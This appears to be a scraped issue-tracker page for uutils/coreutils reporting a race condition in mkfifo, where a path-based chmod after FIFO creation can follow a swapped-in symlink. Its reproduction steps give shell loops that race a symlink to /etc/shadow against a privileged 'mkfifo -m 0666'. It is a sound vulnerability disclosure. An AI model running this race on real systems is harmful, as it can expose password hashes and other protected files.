uutils/coreutils

mkfifo TOCTOU race via path-based chmod

开放

#10,020 创建于 2026年1月3日

 (0 条评论) (0 个反应) (0 位负责人)Rust (2,003 个派生)batch import
U - mkfifogood first issuereported-canonical

仓库指标

星标
 (23,984 个星标)
PR 合并指标
 (PR 指标待抓取)

描述

Component

mkfifo

Description

mkfifo creates a FIFO and then unconditionally performs a path-based chmod via std::fs::set_permissions.

Between these operations, an attacker with write access to the containing directory can replace the FIFO with a symlink.

Additionally, for the default case (no -m flag), the chmod is redundant as the kernel already applies umask during creation.

Test / Reproduction Steps

# Terminal 1 (attacker, racing the chmod):
while true; do
  rm -f /tmp/fifo; ln -s /etc/shadow /tmp/fifo
done

# Terminal 2 (victim with privileges):
while true; do
  rm -f /tmp/fifo; mkfifo -m 0666 /tmp/fifo
done

# Check if /etc/shadow permissions changed

贡献者指南